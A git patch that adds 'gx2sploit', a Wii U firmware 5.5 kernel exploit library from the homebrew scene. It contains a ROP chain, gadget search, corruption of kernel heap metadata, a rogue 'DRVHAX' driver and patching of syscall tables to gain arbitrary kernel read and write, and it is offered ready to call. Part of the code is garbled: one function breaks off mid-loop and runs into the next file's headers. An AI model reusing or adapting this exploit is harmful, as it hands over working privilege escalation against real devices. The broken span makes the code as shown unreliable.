From 986083097c22e034367387e21009716a6b3eb35b Mon Sep 17 00:00:00 2001 From: orboditilt <45944072+orboditilt@users.noreply.github.com> Date: Thu, 24 Jan 2019 16:52:38 +0100 Subject: [PATCH] first commit --- README.md | 20 ++++ kcommon.h | 65 ++++++++++++ kexploit.c | 304 +++++++++++++++++++++++++++++++++++++++++++++++++++++ kexploit.h | 59 +++++++++++ syscalls.S | 27 +++++ 5 files changed, 475 insertions(+) create mode 100644 README.md create mode 100644 kcommon.h create mode 100644 kexploit.c create mode 100644 kexploit.h create mode 100644 syscalls.S diff --git a/README.md b/README.md new file mode 100644 index 0000000..ae33cdd --- /dev/null +++ b/README.md @@ -0,0 +1,20 @@ +# gx2sploit - a Wii U kernel exploit +A Wii U kernel exploit created by libwiiu. +Currently this repo only works on FW 5.5, adjust the defines in the headers to supports other FWs + +# Usage +Call `run_kexploit` with a valid `coreinit_handle`, aftwards you can use the kernel_read,kernel_write and KernelCopyData functions defined in `kexploit.h` + +**Make sure to have GX2 running before using the exploits, the exploit also needs to be called from the main GX2 core.** + +# Credits + - [original sources](https://github.com/wiiudev/libwiiu/tree/master/kernel/gx2sploit) + - Marionumber1 + - TheKit + - Hykem + - comex + - Chadderz + - Relys + - NWPlayer123 + - Mathew_Wi + diff --git a/kcommon.h b/kcommon.h new file mode 100644 index 0000000..60a06ec --- /dev/null +++ b/kcommon.h @@ -0,0 +1,65 @@ +#ifndef _K_COMMON_H_ +#define _K_COMMON_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) +#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) +#define OSFatal ((void (*)(char* msg))0x01031618) +#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) + +typedef struct OSContext_ { + char tag[8]; + + uint32_t gpr[32]; + + uint32_t cr; + uint32_t lr; + uint32_t ctr; + uint32_t xer; + + uint32_t srr0; + uint32_t srr1; + + uint32_t ex0; + uint32_t ex1; + + uint32_t exception_type; + uint32_t reserved; + + double fpscr; + double fpr[32]; + + uint16_t spinLockCount; + uint16_t state; + + uint32_t gqr[8]; + uint32_t pir; + double psf[32]; + + uint64_t coretime[3]; + uint64_t starttime; + + uint32_t error; + uint32_t attributes; + + uint32_t pmc1; + uint32_t pmc2; + uint32_t pmc3; + uint32_t pmc4; + uint32_t mmcr0; + uint32_t mmcr1; +} OSContext; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/kexploit.c b/kexploit.c new file mode 100644 index 0000000..0deb371 --- /dev/null +++ b/kexploit.c @@ -0,0 +1,304 @@ +#include "kcommon.h" +#include "kexploit.h" + +extern void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len); + +/* Initial setup code stolen from Pong, makes race much more reliable */ +void run_kexploit(uint32_t coreinit_handle){ + /* Get a handle to coreinit.rpl and gx2.rpl */ + uint32_t gx2_handle = 0; + unsigned int* functionPointer; + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); + + /* Exit functions */ + void (*__PPCExit)(); + void (*_Exit)(int32_t); + void* (*MEMAllocFromDefaultHeapEx)(uint32_t size, uint32_t align); + void (*MEMFreeToDefaultHeap)(void *ptr); + + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); + MEMAllocFromDefaultHeapEx = (void*(*)(uint32_t, uint32_t))*functionPointer; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); + MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; + + /* Memory functions */ + void (*DCFlushRange)(void *buffer, uint32_t length); + void (*DCInvalidateRange)(void *buffer, uint32_t length); + void (*DCTouchRange)(void *buffer, uint32_t length); + uint32_t (*OSEffectiveToPhysical)(void *vaddr); + void* (*OSAllocFromSystem)(uint32_t size, int32_t align); + void (*OSFreeToSystem)(void *ptr); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange); + OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int32_t argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); + int32_t (*OSResumeThread)(void *thread); + void (*OSExitThread)(); + int32_t (*OSIsThreadTerminated)(void *thread); + void (*OSYieldThread)(void); + + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); + + /* OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + + /* GX2 functions */ + void (*GX2SetSemaphore)(uint64_t *sem, int32_t action); + void (*GX2Flush)(void); + OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore); + OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush); + + /* Allocate space for DRVHAX */ + uint32_t *drvhax = OSAllocFromSystem(0x4c, 4); + + /* Set the kernel heap metadata entry */ + uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE)); + metadata[0] = (uint32_t)drvhax; + metadata[1] = (uint32_t)-0x4c; + metadata[2] = (uint32_t)-1; + metadata[3] = (uint32_t)-1; + + /* Find some gadgets */ + uint32_t gx2data[] = {0xfc2a0000}; + uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000); + uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000); + uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024}; + uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18; + + /* Modify a next ptr on the heap */ + uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET; + + /* Make a thread to modify the semaphore */ + OSContext *thread = (OSContext*)MEMAllocFromDefaultHeapEx(0x1000, 8); + uint32_t *stack = (uint32_t*)MEMAllocFromDefaultHeapEx(0xA0, 0x20); + if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) { + OSFatal("Failed to create thread"); + } + + /* Set up the ROP chain */ + thread->gpr[1] = (uint32_t)stack; + thread->gpr[3] = kpaddr; + thread->gpr[30] = gx2data_addr; + thread->gpr[31] = 1; + thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C; + + stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */ + stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */ + stack[0x2c/4] = 1; /* r31 = 1 (signal) */ + + stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */ + stack[0x38/4] = kpaddr; + + stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */ + + stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */ + stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */ + stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */ + + stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */ + + stack[0x94/4] = (uint32_t)OSExitThread; + + DCFlushRange(thread, 0x1000); + DCFlushRange(stack, 0x1000); + + /* Start the thread */ + OSResumeThread(thread); + + /* Wait for a while */ + while(OSIsThreadTerminated(thread) == 0) { + OSYieldThread(); + } + + /* Free stuff */ + MEMFreeToDefaultHeap(thread); + MEMFreeToDefaultHeap(stack); + + /* Register a new OSDriver, DRVHAX */ + char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'}; + Register(drvname, 6, NULL, NULL); + + /* Use DRVHAX to install the read and write syscalls */ + uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE}; + + /* Modify its save area to point to the kernel syscall table */ + drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4); + CopyToSaveArea(drvname, 6, syscalls, 8); + + /* Clean up the heap and driver list so we can exit */ + kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0); + kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]); + + // Install CopyData syscall + kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t)SCKernelCopyData); + kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t)SCKernelCopyData); + kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t)SCKernelCopyData); + kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t)SCKernelCopyData); + kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t)SCKernelCopyData); +} + +/* Simple memcmp() implementation */ +int32_t memcmp(void *ptr1, void *ptr2, uint32_t length) { + uint8_t *check1 = (uint8_t*) ptr1; + uint8_t *check2 = (uint8_t*) ptr2; + uint32_t i; + for (i = 0; i < length; i++) { + if (check1[i] != check2[i]) + return 1; + } + + return 0; +} + +void* memcpy(void* dst, const void* src, uint32_t size) { + uint32_t i; + for (i = 0; i < size; i++) + ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; + return dst; +} + +/* Find a gadget based on a sequence of words */ +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) { + uint32_t *ptr; + + /* Search code before JIT area first */ + for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) { + if (!memcmp(ptr, &code[0], length)) + return ptr; + } + + /* Restart search after JIT */ + for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) { + if (!memcmp(ptr, &code[0], length)) + return ptr; + } + + OSFatal("Gadget not found!"); + return (void*)0; +} + +/* Read a 32-bit word with kernel permissions */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr) { + uint32_t result; + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "li 5,0\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%1\n" + "li 0,0x3400\n" + "mr %0,1\n" + "sc\n" + "nop\n" + "mr 1,%0\n" + "mr %0,3\n" + : "=r"(result) + : "b"(addr) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); + + return result; +} + +/* Write a 32-bit word with kernel permissions */ +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) { + asm volatile ( + "li 3,1\n" + "li 4,0\n" + "mr 5,%1\n" + "li 6,0\n" + "li 7,0\n" + "lis 8,1\n" + "mr 9,%0\n" + "mr %1,1\n" + "li 0,0x3500\n" + "sc\n" + "nop\n" + "mr 1,%1\n" + : + : "r"(addr), "r"(value) + : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", + "11", "12" + ); +} + +void KernelWrite(uint32_t addr, const void *data, uint32_t length, uint32_t coreinit_handle) { + // This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?) + // further testing required. + for(int32_t i = 0; i +#include +#include + +/* Wait times for CPU0 and CPU2 */ +#define CPU0_WAIT_TIME 80 +#define CPU2_WAIT_TIME 92 + +/* Gadget finding addresses */ +#define JIT_ADDRESS 0x01800000 +#define CODE_ADDRESS_START 0x0D800000 +#define CODE_ADDRESS_END 0x0F848A0C + +/* Kernel addresses, stolen from Chadderz */ +#define KERN_HEAP 0xFF200000 +#define KERN_HEAP_PHYS 0x1B800000 + +#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown +#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games +#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader +#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu +#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) + +#define KERN_CODE_READ 0xFFF023D4 +#define KERN_CODE_WRITE 0xFFF023F4 +#define KERN_ADDRESS_TBL 0xFFEAB7A0 +#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) + +/* Browser PFID */ +#define PFID_BROWSER 8 + +/* Kernel heap constants */ +#define STARTID_OFFSET 0x08 +#define METADATA_OFFSET 0x14 +#define METADATA_SIZE 0x10 + +/* Size of a Cafe OS thread */ +#define OSTHREAD_SIZE 0x1000 + +void run_kexploit(uint32_t coreinit_handle); + +void KernelWrite(uint32_t addr, const void *data, uint32_t length, uint32_t coreinit_handle); + +void KernelWriteU32(uint32_t addr, uint32_t value, uint32_t coreinit_handle); + +void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value, uint32_t coreinit_handle); + +extern void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len); + +void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); + +/* Arbitrary read and write syscalls */ +uint32_t __attribute__ ((noinline)) kern_read(const void *addr); +void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); + +#endif /* KEXPLOIT_H */ diff --git a/syscalls.S b/syscalls.S new file mode 100644 index 0000000..916cebf --- /dev/null +++ b/syscalls.S @@ -0,0 +1,27 @@ +.global SCKernelCopyData +SCKernelCopyData: + // Disable data address translation + mfmsr %r6 + li %r7, 0x10 + andc %r6, %r6, %r7 + mtmsr %r6 + + // Copy data + addi %r3, %r3, -1 + addi %r4, %r4, -1 + mtctr %r5 +SCKernelCopyData_loop: + lbzu %r5, 1(%r4) + stbu %r5, 1(%r3) + bdnz SCKernelCopyData_loop + + // Enable data address translation + ori %r6, %r6, 0x10 + mtmsr %r6 +blr + +.global SC_KernelCopyData +SC_KernelCopyData: + li %r0, 0x2500 + sc +blr \ No newline at end of file